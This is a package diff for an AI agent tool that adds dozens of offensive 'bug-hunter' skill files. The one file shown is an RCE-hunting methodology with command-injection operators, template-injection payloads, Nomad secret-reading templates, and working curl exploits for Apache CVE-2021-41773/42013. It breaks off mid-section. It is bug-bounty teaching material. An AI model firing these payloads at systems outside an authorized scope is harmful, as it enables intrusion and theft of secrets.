@hostclubeos/miraos 0.0.5-beta → 0.0.6-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (219) hide show
  1. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +407 -0
  2. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +1558 -0
  3. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +513 -0
  4. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +1604 -0
  5. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +331 -0
  6. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +521 -0
  7. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +356 -0
  8. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +401 -0
  9. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +155 -0
  10. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +268 -0
  11. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +277 -0
  12. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +140 -0
  13. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +449 -0
  14. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +297 -0
  15. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +237 -0
  16. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +338 -0
  17. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +92 -0
  18. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +267 -0
  19. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +66 -0
  20. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +195 -0
  21. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +291 -0
  22. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +374 -0
  23. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +178 -0
  24. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +380 -0
  25. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +279 -0
  26. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +67 -0
  27. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +158 -0
  28. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +245 -0
  29. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +70 -0
  30. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +368 -0
  31. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +273 -0
  32. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +265 -0
  33. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +62 -0
  34. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +87 -0
  35. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +389 -0
  36. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +177 -0
  37. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +293 -0
  38. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +211 -0
  39. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +307 -0
  40. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +266 -0
  41. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +245 -0
  42. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +134 -0
  43. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +333 -0
  44. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +255 -0
  45. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +219 -0
  46. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +166 -0
  47. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +270 -0
  48. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +414 -0
  49. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +179 -0
  50. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +485 -0
  51. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +167 -0
  52. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +494 -0
  53. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +112 -0
  54. package/bundled/bug-hunter/references/hunt-session/SKILL.md +298 -0
  55. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +153 -0
  56. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +437 -0
  57. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +301 -0
  58. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +123 -0
  59. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +241 -0
  60. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +422 -0
  61. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +514 -0
  62. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +117 -0
  63. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +335 -0
  64. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +355 -0
  65. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +285 -0
  66. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +450 -0
  67. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +422 -0
  68. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +287 -0
  69. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +384 -0
  70. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +358 -0
  71. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +353 -0
  72. package/bundled/bug-hunter/references/offensive-osint/README.md +98 -0
  73. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +399 -0
  74. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +128 -0
  75. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +180 -0
  76. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +231 -0
  77. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +305 -0
  78. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +105 -0
  79. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +1266 -0
  80. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +282 -0
  81. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +341 -0
  82. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +138 -0
  83. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +67 -0
  84. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +329 -0
  85. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +72 -0
  86. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +108 -0
  87. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +199 -0
  88. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +188 -0
  89. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +13 -0
  90. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  91. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +968 -0
  92. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +402 -0
  93. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +180 -0
  94. package/bundled/bug-hunter/references/okta-attack/SKILL.md +397 -0
  95. package/bundled/bug-hunter/references/osint-methodology/README.md +66 -0
  96. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +1704 -0
  97. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +89 -0
  98. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +401 -0
  99. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +347 -0
  100. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +98 -0
  101. package/bundled/bug-hunter/references/report-writing/SKILL.md +568 -0
  102. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +912 -0
  103. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +648 -0
  104. package/bundled/bug-hunter/references/triage-validation/SKILL.md +418 -0
  105. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +372 -0
  106. package/bundled/bug-hunter/references/web2-recon/SKILL.md +698 -0
  107. package/bundled/bug-hunter/references/web3-audit/SKILL.md +606 -0
  108. package/chunks/{acpAgent-UHWDA3W7.js → acpAgent-OGBFWA5R.js} +2 -2
  109. package/chunks/{chunk-BX3KM7OK.js → chunk-2PB6TEZU.js} +1 -1
  110. package/chunks/{chunk-NYM67KKZ.js → chunk-34YXJ3CX.js} +1 -1
  111. package/chunks/{chunk-FXANOHXI.js → chunk-3GA3NTAV.js} +3 -3
  112. package/chunks/{chunk-MUS4ADP7.js → chunk-5JKJSIIP.js} +1 -1
  113. package/chunks/{chunk-N4RIISOE.js → chunk-7JT2V4AW.js} +1 -1
  114. package/chunks/{chunk-4IVYVCCU.js → chunk-BB2C4HKQ.js} +1 -1
  115. package/chunks/{chunk-SK3QOQR4.js → chunk-F2XELUO3.js} +1 -1
  116. package/chunks/{chunk-RKFNQQNA.js → chunk-GPI53DWB.js} +1 -1
  117. package/chunks/{chunk-744QTJR2.js → chunk-HHSHBOT7.js} +2 -2
  118. package/chunks/{chunk-PXBJPUGN.js → chunk-HMID4D72.js} +1 -1
  119. package/chunks/{chunk-MQWKOOSR.js → chunk-IC2WDA6V.js} +1 -1
  120. package/chunks/{chunk-2TDRP3IX.js → chunk-JRPR5IME.js} +1 -1
  121. package/chunks/{chunk-2GVKPBW5.js → chunk-ORVQPZMQ.js} +1 -1
  122. package/chunks/{chunk-FRADUGRC.js → chunk-RGVXNWZA.js} +1 -1
  123. package/chunks/{chunk-QEIX42MZ.js → chunk-SHLTP6ZB.js} +1 -1
  124. package/chunks/{chunk-D3QZNIFB.js → chunk-SOCXRMZM.js} +4 -4
  125. package/chunks/{chunk-NKWATWMD.js → chunk-TI7J4HX2.js} +1 -1
  126. package/chunks/{chunk-62DMHXLL.js → chunk-VGPV5AVJ.js} +1 -1
  127. package/chunks/{chunk-XZNF4YNN.js → chunk-Y3BCVTFB.js} +1 -1
  128. package/chunks/{chunk-D3YOXHQF.js → chunk-YVORE4W4.js} +1 -1
  129. package/chunks/{daemon-status-provider-F6KB2LNG.js → daemon-status-provider-FCQ4YYAY.js} +1 -1
  130. package/chunks/{fast-path-DWPD5EGQ.js → fast-path-ZBD7IYQM.js} +1 -1
  131. package/chunks/{llm-RBI7KXDE.js → llm-DQNQEAFW.js} +3 -3
  132. package/chunks/{local-HSG47CNJ.js → local-ZRC4XZCJ.js} +1 -1
  133. package/chunks/{managed-local-serve-YE4JDFNP.js → managed-local-serve-B2KOLPB5.js} +1 -1
  134. package/chunks/{managed-runtime-bootstrap-SHEXUEZN.js → managed-runtime-bootstrap-MREL5UC2.js} +1 -1
  135. package/chunks/{managed-runtime-ssh-worker-BZNJV7IB.js → managed-runtime-ssh-worker-GUKAZFAJ.js} +1 -1
  136. package/chunks/{memory-JTDN5AEA.js → memory-ZYPCFYPF.js} +1 -1
  137. package/chunks/{nonInteractiveCli-BXHX6EIU.js → nonInteractiveCli-JG6PKBAD.js} +1 -1
  138. package/chunks/{review-PC4IDLCG.js → review-N3VFZQMI.js} +1 -1
  139. package/chunks/{run-qwen-serve-XRWVWOZK.js → run-qwen-serve-4MZRQFXK.js} +1 -1
  140. package/chunks/{serve-JCUT4WK7.js → serve-EQN6QAXF.js} +1 -1
  141. package/chunks/{server-HMTRZJF7.js → server-CCEHAI25.js} +1 -1
  142. package/chunks/{session-RGLZU6KY.js → session-HNUJSV5A.js} +1 -1
  143. package/chunks/{start-opentui-ui-YNTPK7LX.js → start-opentui-ui-6MCAEWAW.js} +1 -1
  144. package/chunks/{startInteractiveUI-MWA2VYTJ.js → startInteractiveUI-657JWOTK.js} +1 -1
  145. package/chunks/{validateNonInterActiveAuth-3433WFLE.js → validateNonInterActiveAuth-CP5WFNAE.js} +1 -1
  146. package/chunks/{version-XCFKTEY3.js → version-SIM74L5K.js} +1 -1
  147. package/cli.js +1 -1
  148. package/export-transcript-document.js +1 -1
  149. package/package.json +3 -3
  150. package/web-shell/assets/{PierreFilePreview-DEhWK46v.js → PierreFilePreview-Dkt6iPte.js} +1 -1
  151. package/web-shell/assets/SpreadsheetPreview-I4yiL7q3.js +1 -0
  152. package/web-shell/assets/{WorkspaceFileBrowser-64vDYikf.js → WorkspaceFileBrowser-Du9bMpNo.js} +1 -1
  153. package/web-shell/assets/{abnfDiagram-VCTEODGH-C2WWURam.js → abnfDiagram-VCTEODGH-CGY1lCxS.js} +1 -1
  154. package/web-shell/assets/{agents-route-j5ba59xn.js → agents-route-kcQ3YUNc.js} +1 -1
  155. package/web-shell/assets/{arc-Bkr_-GVn.js → arc-BUMNyJDV.js} +1 -1
  156. package/web-shell/assets/{architectureDiagram-5GKGNRK7-D_v_wDDW.js → architectureDiagram-5GKGNRK7-CEfXhEKD.js} +1 -1
  157. package/web-shell/assets/{blockDiagram-NRAW4CY4-Csxc3YNo.js → blockDiagram-NRAW4CY4-BH8hjvlX.js} +1 -1
  158. package/web-shell/assets/{c4Diagram-UCG6FXSJ-PXryoJCB.js → c4Diagram-UCG6FXSJ-Dfl946ex.js} +1 -1
  159. package/web-shell/assets/channel-CoZByzPk.js +1 -0
  160. package/web-shell/assets/{chunk-2Q5K7J3B-DwK5UBHI.js → chunk-2Q5K7J3B-CBvGm-pD.js} +1 -1
  161. package/web-shell/assets/{chunk-5VM5RSS4-BC1hvD6_.js → chunk-5VM5RSS4-k06tGOfl.js} +1 -1
  162. package/web-shell/assets/{chunk-F27PBJKO-iFe0IxfJ.js → chunk-F27PBJKO-Dv4S4vSq.js} +1 -1
  163. package/web-shell/assets/{chunk-G27WJ6UU-ROSuKRxI.js → chunk-G27WJ6UU-7LY0yu3f.js} +1 -1
  164. package/web-shell/assets/{chunk-JWPE2WC7-CYHS6PxA.js → chunk-JWPE2WC7-B-CgVEuJ.js} +1 -1
  165. package/web-shell/assets/{chunk-LCL6LL3I-D5bFMqCy.js → chunk-LCL6LL3I-D0TrWx1f.js} +1 -1
  166. package/web-shell/assets/{chunk-POPQ4Y6H-BJh77MGv.js → chunk-POPQ4Y6H-B97ZANlR.js} +1 -1
  167. package/web-shell/assets/{chunk-SVP7TREG-Cs81aYft.js → chunk-SVP7TREG-2CO_3G76.js} +1 -1
  168. package/web-shell/assets/{chunk-XXDRQBXY-DqDbN44E.js → chunk-XXDRQBXY-CFbSHjzz.js} +1 -1
  169. package/web-shell/assets/classDiagram-DTDB5LWJ-BgKRvG5r.js +1 -0
  170. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BgKRvG5r.js +1 -0
  171. package/web-shell/assets/{cose-bilkent-JH36ORCC-DhjrwADJ.js → cose-bilkent-JH36ORCC-K-uc8eFw.js} +1 -1
  172. package/web-shell/assets/{cynefin-OW5HDTMX-Dh7t-_3M.js → cynefin-OW5HDTMX-Cb0lt2G3.js} +1 -1
  173. package/web-shell/assets/{cynefinDiagram-5FMLGOSQ-5J4kto0C.js → cynefinDiagram-5FMLGOSQ-DWkqpFuH.js} +1 -1
  174. package/web-shell/assets/{dagre-3AP2YEHR-28AdbIcl.js → dagre-3AP2YEHR-Cs8gu3Q4.js} +1 -1
  175. package/web-shell/assets/{diagram-S7CK7UJ4-DmksuoIf.js → diagram-S7CK7UJ4-DlMLXUgK.js} +1 -1
  176. package/web-shell/assets/{diagram-UQ7AKVKN-DUjgQ8Fg.js → diagram-UQ7AKVKN-68PPYL92.js} +1 -1
  177. package/web-shell/assets/{diagram-VSXAHHWV-DUe_FpG-.js → diagram-VSXAHHWV-CxIdRSbx.js} +1 -1
  178. package/web-shell/assets/{diagram-VX7I27RA-CJJ70teK.js → diagram-VX7I27RA-G3C0kWVW.js} +1 -1
  179. package/web-shell/assets/{diagram-Z3DM3KII-BgABlJO4.js → diagram-Z3DM3KII-CwEuAgyS.js} +1 -1
  180. package/web-shell/assets/{docx-preview-BMBWboRx.js → docx-preview-3XzkP9iR.js} +1 -1
  181. package/web-shell/assets/{ebnfDiagram-PWID7BFC-B3nK_Lh7.js → ebnfDiagram-PWID7BFC-DLeMX1Ka.js} +1 -1
  182. package/web-shell/assets/{erDiagram-SSCWMZ5O-DCTdCWlu.js → erDiagram-SSCWMZ5O-CoQLSOGk.js} +1 -1
  183. package/web-shell/assets/{flowDiagram-A5DVABFB-CPxk2UUl.js → flowDiagram-A5DVABFB-BXUV-Qml.js} +1 -1
  184. package/web-shell/assets/{ganttDiagram-EL5Y4UJY-WZzMAKht.js → ganttDiagram-EL5Y4UJY-sWi6Lowi.js} +1 -1
  185. package/web-shell/assets/{gitGraphDiagram-WWUBYQGX-DKcO5ugU.js → gitGraphDiagram-WWUBYQGX-Dsh4-kB4.js} +1 -1
  186. package/web-shell/assets/{index-CkRLMu1y.js → index-CrSq-SfJ.js} +6 -6
  187. package/web-shell/assets/{index-Dbm3-Fps.js → index-DjwWlZt0.js} +1 -1
  188. package/web-shell/assets/{infoDiagram-RXCK75RN-CJX5DzdL.js → infoDiagram-RXCK75RN-JZ6nFIgB.js} +1 -1
  189. package/web-shell/assets/{ishikawaDiagram-5VMMS53U-fF0Id5B6.js → ishikawaDiagram-5VMMS53U-qJj-sQFs.js} +1 -1
  190. package/web-shell/assets/{journeyDiagram-EYS64GPL-BOAezBVe.js → journeyDiagram-EYS64GPL-Ck0jv8SO.js} +1 -1
  191. package/web-shell/assets/{kanban-definition-3QL26DDD-DdNBof9J.js → kanban-definition-3QL26DDD-Ck6_Ydmt.js} +1 -1
  192. package/web-shell/assets/{layout-CXX3l5w0.js → layout-yLaSulE8.js} +1 -1
  193. package/web-shell/assets/{linear-Dnaccp-S.js → linear-CXw5rE6U.js} +1 -1
  194. package/web-shell/assets/{mermaid.core-BzdC3B6T.js → mermaid.core-6WQsyLcq.js} +6 -6
  195. package/web-shell/assets/{mindmap-definition-FBJOCRG2-D-gMUzLw.js → mindmap-definition-FBJOCRG2-BDAmAz8h.js} +1 -1
  196. package/web-shell/assets/{pegDiagram-XKGWAZYB-B9n1WVZq.js → pegDiagram-XKGWAZYB-Rvn5mpol.js} +1 -1
  197. package/web-shell/assets/{pieDiagram-E7YTZNPT-ok49U0zT.js → pieDiagram-E7YTZNPT-DHw4avFL.js} +1 -1
  198. package/web-shell/assets/{quadrantDiagram-AXDQQJYC-DJKha-v3.js → quadrantDiagram-AXDQQJYC-vch6jDK-.js} +1 -1
  199. package/web-shell/assets/{railroadDiagram-O6MQD6OU-DjL4pl7y.js → railroadDiagram-O6MQD6OU-DfVCzYpO.js} +1 -1
  200. package/web-shell/assets/{requirementDiagram-EFPCY7ZU-BpmmRw3A.js → requirementDiagram-EFPCY7ZU-BQAnwpSv.js} +1 -1
  201. package/web-shell/assets/{sankeyDiagram-P5KCCOFB-KpteHB8X.js → sankeyDiagram-P5KCCOFB-fJuxdbbi.js} +1 -1
  202. package/web-shell/assets/{sequenceDiagram-WJ2MYXX4-COMghCpA.js → sequenceDiagram-WJ2MYXX4-B3TtvHJp.js} +1 -1
  203. package/web-shell/assets/{sizeCapture-X5ZJPWSS-5fEwJD-n.js → sizeCapture-X5ZJPWSS-DlJmbcZd.js} +1 -1
  204. package/web-shell/assets/{stateDiagram-HBIQ2CUA-CnC7oXvs.js → stateDiagram-HBIQ2CUA--0kiPvGS.js} +1 -1
  205. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-Dw-ppcvp.js +1 -0
  206. package/web-shell/assets/{swimlanes-XN3QIQJK-bVlhZdve.js → swimlanes-XN3QIQJK-CAytfKbo.js} +1 -1
  207. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-B36XZQuh.js +8 -0
  208. package/web-shell/assets/{timeline-definition-24CTP7MA-CBvYgMu5.js → timeline-definition-24CTP7MA-C-BUmwu6.js} +1 -1
  209. package/web-shell/assets/{vennDiagram-4TSXK5OY-CUTYvV1j.js → vennDiagram-4TSXK5OY-W_dgEGv2.js} +1 -1
  210. package/web-shell/assets/{wardleyDiagram-VM6X3IG4-Djl4gxCB.js → wardleyDiagram-VM6X3IG4-ikAv1QJ9.js} +1 -1
  211. package/web-shell/assets/{xychartDiagram-S5SC5T6Z-BcJZtI2X.js → xychartDiagram-S5SC5T6Z-BmY9Ily6.js} +1 -1
  212. package/web-shell/index.html +1 -1
  213. package/web-shell/sw.js +1 -1
  214. package/web-shell/assets/SpreadsheetPreview-C-GgIuPX.js +0 -1
  215. package/web-shell/assets/channel-6Pj4KPAs.js +0 -1
  216. package/web-shell/assets/classDiagram-DTDB5LWJ-BaTUuuB8.js +0 -1
  217. package/web-shell/assets/classDiagram-v2-JRS7N3AN-BaTUuuB8.js +0 -1
  218. package/web-shell/assets/stateDiagram-v2-4QOOHH4V-V_cfZFBL.js +0 -1
  219. package/web-shell/assets/swimlanesDiagram-VK2B7HYN-25wVg0WL.js +0 -8
@@ -0,0 +1,494 @@
1
+ ---
2
+ name: hunt-rce
3
+ description: Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.
4
+ sources: github, hackerone_public
5
+ report_count: 87
6
+ ---
7
+
8
+ ## Autonomous Testing Priority
9
+
10
+ **Content-type is the #1 silent failure mode for command injection.**
11
+
12
+ Traditional web forms use `Content-Type: application/x-www-form-urlencoded`. If you send a JSON body (`{"host":"127.0.0.1;id"}`) to a form endpoint, the server reads `request.form['host']` and gets nothing — the app executes normally with no injection, returning a plausible 200 response. You get a false negative with no indication anything went wrong.
13
+
14
+ **Rule:** If the page has an HTML form (`<form method="POST">`), use form-encoding. If the path is `/api/...` or the response is JSON, use JSON.
15
+
16
+ **Command injection operators to try (in order of prevalence):**
17
+ ```
18
+ value;id ← Unix semicolon (most common)
19
+ value|id ← pipe
20
+ value&&id ← AND
21
+ value$(id) ← subshell
22
+ value`id` ← backtick
23
+ ```
24
+
25
+ **Proof:** OS command output (`uid=N(username) gid=...`) in the response body confirms code execution. The output may be HTML-wrapped — that still counts. If the response is otherwise normal (200, expected content) with the command output appended or embedded, exploitation is confirmed.
26
+
27
+ ---
28
+
29
+ ## Crown Jewel Targets
30
+
31
+ RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:
32
+
33
+ **Highest-paying asset types:**
34
+ - **Enterprise server products** (GitHub Enterprise Server, self-hosted GitLab) — privilege escalation chains from low-privileged console roles to root SSH access consistently pay critical/high
35
+ - **Supply chain / package registries** — dependency confusion attacks against npm, PyPI, etc. hit critical severity across every major program
36
+ - **Cloud-native infrastructure** — exposed Kubernetes API servers, ingress controllers, and misconfiqured CI/CD pipelines
37
+ - **Mobile app backends and OAuth flows** — where server-side processing of attacker-controlled data meets execution contexts
38
+ - **Admin/management consoles** — template injection in configuration panels reaches root with a single payload
39
+
40
+ **Why this class pays most:**
41
+ - Blast radius is infrastructure-wide, not user-scoped
42
+ - Proof-of-concept is unambiguous — shell output is undeniable
43
+ - Fix requires architectural changes, not just a patch
44
+ - Programs cannot afford false negatives on RCE
45
+
46
+ ---
47
+
48
+ ## Attack Surface Signals
49
+
50
+ ### URL Patterns
51
+ ```
52
+ /management-console/*
53
+ /admin/settings/*
54
+ /api/v*/exec
55
+ /api/v*/run
56
+ /webhook/*
57
+ /_internal/*
58
+ /import?url=
59
+ /render?template=
60
+ /preview?format=
61
+ ```
62
+
63
+ ### Response Headers / Tech Stack Signals
64
+ ```
65
+ X-Powered-By: Express # Node.js — npm dependency surface
66
+ X-Powered-By: Phusion Passenger
67
+ Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
68
+ X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
69
+ Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
70
+ X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection
71
+ ```
72
+
73
+ ### JavaScript / Frontend Signals
74
+ ```javascript
75
+ // Look for these patterns in JS bundles
76
+ fetch('/api/exec', {method:'POST', body: cmd})
77
+ eval(userInput)
78
+ new Function(userInput)
79
+ document.write(unsafeData)
80
+ window.location = userControlled // URL scheme bypass → JS execution
81
+ ```
82
+
83
+ ### Tech Stack Signals
84
+ | Signal | RCE Vector |
85
+ |--------|-----------|
86
+ | `nomad` in config UI | Template injection → `{{ ... }}` |
87
+ | `syslog-ng` config editable | Config injection → `program()` destination |
88
+ | `collectd` config editable | Plugin exec injection |
89
+ | `SnakeYAML` in classpath | `!!javax.script.ScriptEngineManager [...]` |
90
+ | npm `package.json` internal scope | Dependency confusion |
91
+ | ingress-nginx annotations | Path field regex bypass |
92
+
93
+ ---
94
+
95
+ ## Step-by-Step Hunting Methodology
96
+
97
+ 1. **Map the execution contexts first.** Before testing payloads, identify everywhere user-controlled input touches an execution layer: template engines, shell commands, YAML parsers, file paths used in operations, package resolution, and configuration files.
98
+
99
+ 2. **Enumerate admin/management interfaces.** Crawl for `/management-console`, `/admin`, `/_internal`, `/setup`, `/config`. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.
100
+
101
+ 3. **Check template injection in every config field.** In any management UI that accepts free-form configuration (log destinations, notification formats, proxy settings), submit `{{7*7}}`, `${7*7}`, `<%= 7*7 %>`. Look for `49` in responses, logs, or DNS callbacks.
102
+
103
+ 4. **Test YAML/XML/serialized input for code execution.** Any endpoint accepting `Content-Type: application/yaml` or `application/xml`:
104
+ - SnakeYAML: submit `!!javax.script.ScriptEngineManager` gadget
105
+ - Ruby YAML: submit `!ruby/object:Gem::Installer` gadget
106
+ - REXML: submit billion-laughs / quadratic blowup XML
107
+
108
+ 5. **Hunt dependency confusion.** For every npm/pip/gem internal package name visible in JS bundles, error messages, or `package.json` in public repos — register a higher-versioned package on the public registry pointing to a canary callback.
109
+
110
+ 6. **Check file path operations for traversal → execution.** ActiveStorage, file upload handlers, symlink operations: submit `../../../etc/cron.d/shell` as filename. Confirm write then trigger execution.
111
+
112
+ 7. **Audit Kubernetes/cloud-native surfaces.** Run `kubectl` against any exposed API server. Check ingress annotations, especially `nginx.ingress.kubernetes.io/configuration-snippet` and `spec.rules.http.paths.path` for Lua/regex injection.
113
+
114
+ 8. **Test OAuth redirect URI and URL scheme handlers.** Mobile apps processing `javascript:` or `intent://` URIs via OAuth redirect may execute JavaScript. Try `javascript:alert(document.cookie)` and custom scheme URIs.
115
+
116
+ 9. **Verify with out-of-band callbacks.** Never rely solely on visible output. Use Burp Collaborator, interactsh, or `canarytokens.org` DNS tokens. Blind RCE is common in backend processors.
117
+
118
+ 10. **Chain privileges.** A low-severity misconfiguration (editor role, CSRF, path traversal) combined with an RCE primitive equals critical. Always ask: "what can I reach from here?"
119
+
120
+ ---
121
+
122
+ ## Payload & Detection Patterns
123
+
124
+ ### Template Injection Probes
125
+ ```
126
+ # Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
127
+ {{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
128
+ {{'7'*7}}
129
+ {{config}}
130
+ {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
131
+
132
+ # Nomad template injection (Go text/template)
133
+ {{ env "NOMAD_SECRET_ID" }}
134
+ {{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
135
+ {{ runscript "id" }}
136
+ ```
137
+
138
+ ### Apache HTTP Server alias path traversal (CVE-2021-41773 / CVE-2021-42013)
139
+
140
+ Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments **through configured alias paths**. The same primitive yields very different impact depending on which alias accepts the traversal:
141
+
142
+ - Alias without `Options +ExecCGI` (e.g. `/icons/`) → arbitrary file read only
143
+ - Alias with `Options +ExecCGI` (e.g. `/cgi-bin/`) → arbitrary code execution
144
+
145
+ **Version fingerprint:**
146
+ ```bash
147
+ curl -sI http://target/ | grep -i "Server:"
148
+ # Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
149
+ # Patched: Apache/2.4.51+
150
+ ```
151
+
152
+ **File-read test (any alias):**
153
+ ```bash
154
+ curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
155
+ # Note: --path-as-is is REQUIRED — curl normalizes %2e by default
156
+ ```
157
+
158
+ **RCE test (cgi-enabled alias only):**
159
+ ```bash
160
+ curl --path-as-is -X POST \
161
+ -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
162
+ "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
163
+ ```
164
+
165
+ **Triage discipline note:** when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the **maximum** impact is the severity — not the average. A "file read" finding on `/icons/` should always be escalated by re-probing `/cgi-bin/` (and any other alias visible from `<Directory>` blocks in the server-info disclosure or response patterns). See `triage-validation` Pre-Severity Gate.
166
+
167
+ ### Spring Cloud Function SpEL injection (CVE-2022-22963)
168
+
169
+ Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the `spring.cloud.function.routing-expression` header as a SpEL expression on the `/functionRouter` endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because `/functionRouter` auto-registers and devs don't add an explicit gate.
170
+
171
+ **Detection:**
172
+ - Spring-style port 8080 with `/uppercase`, `/lowercase`, or arbitrary single-word function endpoints responding 200
173
